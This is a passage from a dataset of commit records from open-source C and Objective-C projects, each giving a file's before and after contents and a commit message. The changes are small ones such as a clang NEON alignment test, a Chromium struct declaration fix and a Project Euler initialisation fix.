g0();\n}\n\n","subject":"Add bare bones test that parameter passing is consistent for scalar\/complex\/aggregate cases. - Currently disabled for x86_64, triggering a misoptimization (PR3489).","message":"Add bare bones test that parameter passing is consistent for\nscalar\/complex\/aggregate cases.\n - Currently disabled for x86_64, triggering a misoptimization\n   (PR3489).\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@63864 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"97fb6f33f7ff850c2ce8a52e1f2ad9eb520d71e0","old_file":"test\/CodeGen\/arm-vector-align.c","new_file":"test\/CodeGen\/arm-vector-align.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 -triple thumbv7-apple-darwin \\\n\/\/ RUN:   -target-abi apcs-gnu \\\n\/\/ RUN:   -target-cpu cortex-a8 \\\n\/\/ RUN:   -mfloat-abi soft \\\n\/\/ RUN:   -target-feature +soft-float-abi \\\n\/\/ RUN:   -ffreestanding \\\n\/\/ RUN:   -emit-llvm -w -o - %s | FileCheck %s\n\n#include <arm_neon.h>\n\n\/\/ Radar 9311427: Check that alignment specifier is used in Neon load\/store\n\/\/ intrinsics.\ntypedef float AlignedAddr __attribute__ ((aligned (16)));\nvoid t1(AlignedAddr *addr1, AlignedAddr *addr2) {\n\/\/ CHECK: call <4 x float> @llvm.arm.neon.vld1.v4f32(i8* %{{.*}}, i32 16)\n  float32x4_t a = vld1q_f32(addr1);\n\/\/ CHECK: call void @llvm.arm.neon.vst1.v4f32(i8* %{{.*}}, <4 x float> %{{.*}}, i32 16)\n  vst1q_f32(addr2, a);\n}\n","subject":"Add a testcase for svn r129964 (Neon load\/store intrinsic alignments).","message":"Add a testcase for svn r129964 (Neon load\/store intrinsic alignments).\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@129979 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"f8c16eb52a703986b5448c23fd02838af152978a","old_file":"ppapi\/native_client\/src\/shared\/ppapi_proxy\/plugin_ppb_core.h","new_file":"ppapi\/native_client\/src\/shared\/ppapi_proxy\/plugin_ppb_core.h","old_contents":"\/\/ Copyright 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can\n\/\/ be found in the LICENSE file.\n\n#ifndef NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PLUGIN_CORE_H_\n#define NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PLUGIN_CORE_H_\n\n#include \"native_client\/src\/include\/nacl_macros.h\"\n\nclass PPB_Core;\n\nnamespace ppapi_proxy {\n\n\/\/ Implements the untrusted side of the PPB_Core interface.\n\/\/ We will also need an rpc service to implement the trusted side, which is a\n\/\/ very thin wrapper around the PPB_Core interface returned from the browser.\nclass PluginCore {\n public:\n  \/\/ Return an interface pointer usable by PPAPI plugins.\n  static const PPB_Core* GetInterface();\n  \/\/ Mark the calling thread as the main thread for IsMainThread.\n  static void MarkMainThread();\n\n private:\n  NACL_DISALLOW_COPY_AND_ASSIGN(PluginCore);\n};\n\n}  \/\/ namespace ppapi_proxy\n\n#endif  \/\/ NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PLUGIN_CORE_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PLUGIN_CORE_H_\n#define NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PLUGIN_CORE_H_\n\n#include \"native_client\/src\/include\/nacl_macros.h\"\n\nstruct PPB_Core;\n\nnamespace ppapi_proxy {\n\n\/\/ Implements the untrusted side of the PPB_Core interface.\n\/\/ We will also need an rpc service to implement the trusted side, which is a\n\/\/ very thin wrapper around the PPB_Core interface returned from the browser.\nclass PluginCore {\n public:\n  \/\/ Return an interface pointer usable by PPAPI plugins.\n  static const PPB_Core* GetInterface();\n  \/\/ Mark the calling thread as the main thread for IsMainThread.\n  static void MarkMainThread();\n\n private:\n  NACL_DISALLOW_COPY_AND_ASSIGN(PluginCore);\n};\n\n}  \/\/ namespace ppapi_proxy\n\n#endif  \/\/ NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PLUGIN_CORE_H_\n","subject":"Declare PPB_Core as a struct, not a class. (Prevents Clang warning)","message":"Declare PPB_Core as a struct, not a class. (Prevents Clang warning)\n\nReview URL: http:\/\/codereview.chromium.org\/8002017\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@102565 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"robclark\/chromium,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,robclark\/chromium,anirudhSK\/chromium,littlstar\/chromium.src,dednal\/chromium.src,Chilledheart\/chromium,dednal\/chromium.src,dednal\/chromium.src,keishi\/chromium,patrickm\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,robclark\/chromium,PeterWangIntel\/chromium-crosswalk,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,zcbenz\/cefode-chromium,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,patrickm\/chromium.src,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,robclark\/chromium,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,M4sse\/chromium.src,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,Chilledheart\/chromium,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,zcbenz\/cefode-chromium,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,keishi\/chromium,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,keishi\/chromium,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,rogerwang\/chromium,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,jaruba\/chromium.src,keishi\/chromium,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,rogerwang\/chromium,ondra-novak\/chromium.src,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,ltilve\/chromium,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,Just-D\/chromium-1,Jonekee\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,dednal\/chromium.src,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,keishi\/chromium,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,rogerwang\/chromium,mogoweb\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,Jonekee\/chromium.src,rogerwang\/chromium,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,dednal\/chromium.src,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,markYoungH\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,anirudhSK\/chromium,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,rogerwang\/chromium,Chilledheart\/chromium,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,littlstar\/chromium.src,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,Jonekee\/chromium.src,keishi\/chromium,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,Jonekee\/chromium.src,Jonekee\/chromium.src,rogerwang\/chromium,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,M4sse\/chromium.src,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,Just-D\/chromium-1,dednal\/chromium.src,dushu1203\/chromium.src,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,littlstar\/chromium.src,axinging\/chromium-crosswalk,rogerwang\/chromium,Just-D\/chromium-1,rogerwang\/chromium,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,Jonekee\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk,zcbenz\/cefode-chromium,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,keishi\/chromium,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,rogerwang\/chromium,patrickm\/chromium.src,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,rogerwang\/chromium,keishi\/chromium,pozdnyakov\/chromium-crosswalk,mogoweb\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,keishi\/chromium,dushu1203\/chromium.src,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,robclark\/chromium,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,Just-D\/chromium-1,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,ltilve\/chromium,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,markYoungH\/chromium.src,M4sse\/chromium.src,axinging\/chromium-crosswalk,markYoungH\/chromium.src,robclark\/chromium,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,timopulkkinen\/BubbleFish,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,Chilledheart\/chromium,dushu1203\/chromium.src,patrickm\/chromium.src,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,ondra-novak\/chromium.src,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,robclark\/chromium,Pluto-tv\/chromium-crosswalk,timopulkkinen\/BubbleFish,patrickm\/chromium.src,axinging\/chromium-crosswalk,ltilve\/chromium,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,robclark\/chromium,hujiajie\/pa-chromium,patrickm\/chromium.src,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,ltilve\/chromium,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,patrickm\/chromium.src,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,markYoungH\/chromium.src,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,robclark\/chromium,robclark\/chromium,ltilve\/chromium,anirudhSK\/chromium,dednal\/chromium.src,anirudhSK\/chromium,zcbenz\/cefode-chromium,chuan9\/chromium-crosswalk,Chilledheart\/chromium,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,patrickm\/chromium.src"}
{"commit":"dbb4fc6fb1f9967305f5490969a2b05c659d4b51","old_file":"Problem039\/C\/solution_1.c","new_file":"Problem039\/C\/solution_1.c","old_contents":"#include <stdio.h>\n#define MAX 1000\n \nint main() {\n    int i, j, k, maxP;\n    int ps[1001];\n\n    for(i = 1; i <= MAX; i++) {\n        for(j = i;j <= MAX; j++) {\n            for(k = j; (k * k) < (i * i + j * j); k++);\n            if((i * i + j * j) == (k * k) && (i + j + k) <= MAX) {\n                ps[i+j+k]++;\n            }\n        }\n    }\n\n    for(i = 1; i <= MAX; i++) {    \n        if(ps[maxP] < ps[i])\n            maxP = i;\n    }\n\n    printf(\"%d\\n\",maxP);\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#define MAX 1000\n\nint main() {\n    int i, j , k, maxP = 1;\n    int ps[1001];\n\n    for (i=0; i <= MAX; ps[++i] =0);\n\n    for(i = 1; i <= MAX; i++) {\n        for(j = i;j <= MAX; j++) {\n            for(k = j; (k * k) < (i * i + j * j); k++);\n            if((i * i + j * j) == (k * k) && (i + j + k) <= MAX) {\n                ps[i+j+k] += 1;\n            }\n        }\n    }\n\n    for(i = 1; i <= MAX; i++) {\n        if(ps[maxP] < ps[i])\n            maxP = i;\n    }\n\n    printf(\"%d\\n\",maxP);\n\n    return 0;\n}\n","subject":"Fix C solution for Problem039","message":"Fix C solution for Problem039\n\nThe Author forgot to explicitily initialize the vector elements with\nzeros. On my computer, without this, I get the wrong answer.\n\nBTW, if maxP is not defined before, I don't even get a wrong answer.\nA beatiful segmentation fault is raised.\n","lang":"C","license":"mit","repos":"DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler"}
{"commit":"a6b6814f07cfb18f2203584c015a5a93da8ad9d5","old_file":"LYCategory\/Classes\/_Foundation\/_Work\/NSString+Convert.h","new_file":"LYCategory\/Classes\/_Foundation\/_Work\/NSString+Convert.h","old_contents":"\/\/\n\/\/  NSString+Convert.h\n\/\/  LYCATEGORY\n\/\/\n\/\/  CREATED BY LUO YU ON 2016-11-04.\n\/\/  COPYRIGHT (C) 2016 LUO YU. ALL RIGHTS RESERVED.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSString (Convert)\n\n- (NSString *)encodingURL;\n\n@end\n","new_contents":"\/\/\n\/\/  NSString+Convert.h\n\/\/  LYCATEGORY\n\/\/\n\/\/  CREATED BY LUO YU ON 2016-11-04.\n\/\/  COPYRIGHT (C) 2016 LUO YU. ALL RIGHTS RESERVED.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSString (Convert)\n\n- (NSString *)encodingURL;\n\n- (NSString *)pinyin;\n\n@end\n","subject":"Add : string convert to pinyin","message":"Add : string convert to pinyin\n","lang":"C","license":"mit","repos":"blodely\/LYCategory,blodely\/LYCategory,blodely\/LYCategory,blodely\/LYCategory"}
{"commit":"b0411affebefe3ed78dbeb60637d9730159a5d99","old_file":"tools\/cncframework\/templates\/unified_c_api\/common\/StepFunc.c","new_file":"tools\/cncframework\/templates\/unified_c_api\/common\/StepFunc.c","old_contents":"{% import \"common_macros.inc.c\" as util with context -%}\n{% set stepfun = g.stepFunctions[targetStep] -%}\n\n#include \"{{g.name}}.h\"\n\n\/**\n * Step function defintion for \"{{stepfun.collName}}\"\n *\/\nvoid {{util.qualified_step_name(stepfun)}}({{ util.print_tag(stepfun.tag, typed=True)\n        }}{{ util.print_bindings(stepfun.inputItems, typed=True)\n        }}{{util.g_ctx_param()}}) {\n{% if stepfun.rangedInputItems %}\n    \/\/\n    \/\/ INPUTS\n    \/\/\n{% call util.render_indented(1) -%}\n{{ util.render_step_inputs(stepfun.rangedInputItems) }}\n{% endcall -%}\n{% endif %}\n    \/\/\n    \/\/ OUTPUTS\n    \/\/\n{% call util.render_indented(1) -%}\n{{ util.render_step_outputs(stepfun.outputs) }}\n{%- endcall %}\n\n}\n","new_contents":"{% import \"common_macros.inc.c\" as util with context -%}\n{% set stepfun = g.stepFunctions[targetStep] -%}\n\n#include \"{{g.name}}.h\"\n\n\/**\n * Step function definition for \"{{stepfun.collName}}\"\n *\/\nvoid {{util.qualified_step_name(stepfun)}}({{ util.print_tag(stepfun.tag, typed=True)\n        }}{{ util.print_bindings(stepfun.inputItems, typed=True)\n        }}{{util.g_ctx_param()}}) {\n{% if stepfun.rangedInputItems %}\n    \/\/\n    \/\/ INPUTS\n    \/\/\n{% call util.render_indented(1) -%}\n{{ util.render_step_inputs(stepfun.rangedInputItems) }}\n{% endcall -%}\n{% endif %}\n    \/\/\n    \/\/ OUTPUTS\n    \/\/\n{% call util.render_indented(1) -%}\n{{ util.render_step_outputs(stepfun.outputs) }}\n{%- endcall %}\n\n}\n","subject":"Fix typo in step function comment","message":"Fix typo in step function comment\n","lang":"C","license":"bsd-3-clause","repos":"habanero-rice\/cnc-framework,habanero-rice\/cnc-framework,chamibuddhika\/cnc-framework,habanero-rice\/cnc-framework,habanero-rice\/cnc-framework,chamibuddhika\/cnc-framework,habanero-rice\/cnc-framework,habanero-rice\/cnc-framework"}
{"commit":"fc512aaf3562cf8434e63b64c0555e0e6e8d2888","old_file":"src\/exercise118.c","new_file":"src\/exercise118.c","old_contents":"","new_contents":"\/* Exercise 2-18: Write a program to remove trailing blanks and tabs from each\n * line of input, and to delete entirely blank lines. *\/\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nstruct buffer_node {\n  int32_t data;\n  struct buffer_node *next_node;\n};\n\nvoid deleteBuffer(struct buffer_node **buffer_head);\n\nint main(int argc, char **argv)\n{\n  int32_t character = 0;\n  int32_t previous_character = 0;\n  struct buffer_node *buffer_head = NULL;\n  while ((character = getchar()) != EOF) {\n    switch (character) {\n      case ' ':\n      case '\\t': {\n        struct buffer_node *new_node = malloc(sizeof(struct buffer_node));\n        new_node->data = character;\n        new_node->next_node = buffer_head;\n        buffer_head = new_node;\n        break;\n      }\n      case '\\n':\n        deleteBuffer(&buffer_head);\n        if (previous_character != character) {\n          putchar(character);\n        }\n        previous_character = character;\n        break;\n      default: {\n        struct buffer_node *current_node = buffer_head;\n        while (current_node != NULL) {\n          putchar(current_node->data);\n          current_node = current_node->next_node;\n        }\n        deleteBuffer(&buffer_head);\n        putchar(character);\n        previous_character = character;\n        break;\n      }\n    }\n  }\n  return EXIT_SUCCESS;\n}\n\nvoid deleteBuffer(struct buffer_node **buffer_head)\n{\n  while (*buffer_head != NULL) {\n    struct buffer_node *temp_node = *buffer_head;\n    *buffer_head = (*buffer_head)->next_node;\n    free(temp_node);\n  }\n}\n","subject":"Add solution to Exercise 1-18.","message":"Add solution to Exercise 1-18.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"7208a32b3dfb6cdd73c509add8378a20b31bb5a7","old_file":"libyaul\/scu\/bus\/cpu\/cpu_slave.c","new_file":"libyaul\/scu\/bus\/cpu\/cpu_slave.c","old_contents":"\/*\n * Copyright (c) 2012-2016\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com\n *\/\n\n#include <sys\/cdefs.h>\n\n#include <smpc\/smc.h>\n\n#include <cpu\/instructions.h>\n#include <cpu\/frt.h>\n#include <cpu\/intc.h>\n#include <cpu\/map.h>\n#include <cpu\/slave.h>\n\nstatic void _slave_entry(void);\nstatic void _default_entry(void);\n\nstatic void (*_entry)(void) = _default_entry;\n\nvoid\ncpu_slave_init(void)\n{\n        smpc_smc_sshoff_call();\n\n        cpu_slave_entry_clear();\n\n        cpu_intc_ihr_set(INTC_INTERRUPT_SLAVE_ENTRY, _slave_entry);\n\n        smpc_smc_sshon_call();\n}\n\nvoid\ncpu_slave_entry_set(void (*entry)(void))\n{\n        _entry = (entry != NULL) ? entry : _default_entry;\n}\n\nstatic void\n_slave_entry(void)\n{\n        while (true) {\n                while (((cpu_frt_status_get()) & FRTCS_ICF) == 0x00);\n\n                cpu_frt_control_chg((uint8_t)~FRTCS_ICF);\n\n                _entry();\n        }\n}\n\nstatic void\n_default_entry(void)\n{\n}\n","new_contents":"\/*\n * Copyright (c) 2012-2016\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com\n *\/\n\n#include <sys\/cdefs.h>\n\n#include <smpc\/smc.h>\n\n#include <cpu\/instructions.h>\n#include <cpu\/frt.h>\n#include <cpu\/intc.h>\n#include <cpu\/map.h>\n#include <cpu\/slave.h>\n\nstatic void _slave_entry(void);\n\nstatic void _default_entry(void);\n\nstatic void (*_entry)(void) = _default_entry;\n\nvoid\ncpu_slave_init(void)\n{\n        smpc_smc_sshoff_call();\n\n        cpu_slave_entry_clear();\n\n        cpu_intc_ihr_set(INTC_INTERRUPT_SLAVE_ENTRY, _slave_entry);\n\n        smpc_smc_sshon_call();\n}\n\nvoid\ncpu_slave_entry_set(void (*entry)(void))\n{\n        _entry = (entry != NULL) ? entry : _default_entry;\n}\n\nstatic void __noreturn\n_slave_entry(void)\n{\n        while (true) {\n                while (((cpu_frt_status_get()) & FRTCS_ICF) == 0x00);\n\n                cpu_frt_control_chg((uint8_t)~FRTCS_ICF);\n\n                _entry();\n        }\n}\n\nstatic void\n_default_entry(void)\n{\n}\n","subject":"Mark _slave_entry to never return","message":"Mark _slave_entry to never return\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"94212f6fdc2b9f135f69e42392485adce8b04cc7","old_file":"util\/metadata.h","new_file":"util\/metadata.h","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#ifndef METADATA_H\n#define METADATA_H\n\ntypedef struct Metadata\n{\n  \/**\n   * File's name.\n   *\/\n  char md_name[255];\n\n  \/**\n   * File's extension.\n   *\/\n  char md_extension[10];\n\n  \/**\n   * List of keywords to describe the file.\n   *\/\n  char md_keywords[255];\n\n  \/**\n   * Hash of the content. We use SHA-1 which generates a\n   * 160-bit hash value rendered as 40 digits long in\n   * hexadecimal.\n   *\/\n  char md_hash[41];\n} Metadata;\n\nMetadata *new_metadata(char name[], char extension[], char keywords[], char hash[]);\nvoid free_metadata(Metadata *md);\nMetadata *create_metadata_from_path(char pathFile[1000]);\n\n#endif \/* METADATA_H *\/","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#ifndef METADATA_H\n#define METADATA_H\n\ntypedef struct Metadata\n{\n    \/**\n    * File's name.\n    *\/\n    char md_name[255];\n\n    \/**\n    * File's extension.\n    *\/\n    char md_extension[10];\n\n    \/**\n    * List of keywords to describe the file.\n    *\/\n    char md_keywords[255];\n\n    \/**\n    * Hash of the content. We use SHA-1 which generates a\n    * 160-bit hash value rendered as 40 digits long in\n    * hexadecimal.\n    *\/\n    char md_hash[41];\n} Metadata;\n\nMetadata *new_metadata(char name[], char extension[], char keywords[], char hash[]);\nvoid free_metadata(Metadata *md);\nMetadata *create_metadata_from_path(char pathFile[1000]);\n\n#endif \/* METADATA_H *\/","subject":"Indent better than Videl :)","message":"Indent better than Videl :)\n","lang":"C","license":"mit","repos":"Videl\/FrogidelTorrent,Videl\/FrogidelTorrent"}
{"commit":"e8a66aeb8e09270662bbd58cdd4cebc8537df31c","old_file":"MagicalRecord\/Categories\/NSManagedObject\/NSManagedObject+MagicalDataImport.h","new_file":"MagicalRecord\/Categories\/NSManagedObject\/NSManagedObject+MagicalDataImport.h","old_contents":"\/\/\n\/\/  NSManagedObject+JSONHelpers.h\n\/\/\n\/\/  Created by Saul Mora on 6\/28\/11.\n\/\/  Copyright 2011 Magical Panda Software LLC. All rights reserved.\n\/\/\n\n#import <CoreData\/CoreData.h>\n\nextern NSString * const kMagicalRecordImportCustomDateFormatKey;\nextern NSString * const kMagicalRecordImportDefaultDateFormatString;\nextern NSString * const kMagicalRecordImportUnixTimeString;\nextern NSString * const kMagicalRecordImportAttributeKeyMapKey;\nextern NSString * const kMagicalRecordImportAttributeValueClassNameKey;\n\nextern NSString * const kMagicalRecordImportRelationshipMapKey;\nextern NSString * const kMagicalRecordImportRelationshipLinkedByKey;\nextern NSString * const kMagicalRecordImportRelationshipTypeKey;\n\n@interface NSManagedObject (MagicalRecord_DataImport)\n\n+ (instancetype) MR_importFromObject:(id)data;\n+ (instancetype) MR_importFromObject:(id)data inContext:(NSManagedObjectContext *)context;\n\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData;\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData inContext:(NSManagedObjectContext *)context;\n\n@end\n\n@interface NSManagedObject (MagicalRecord_DataImportControls)\n\n- (BOOL) 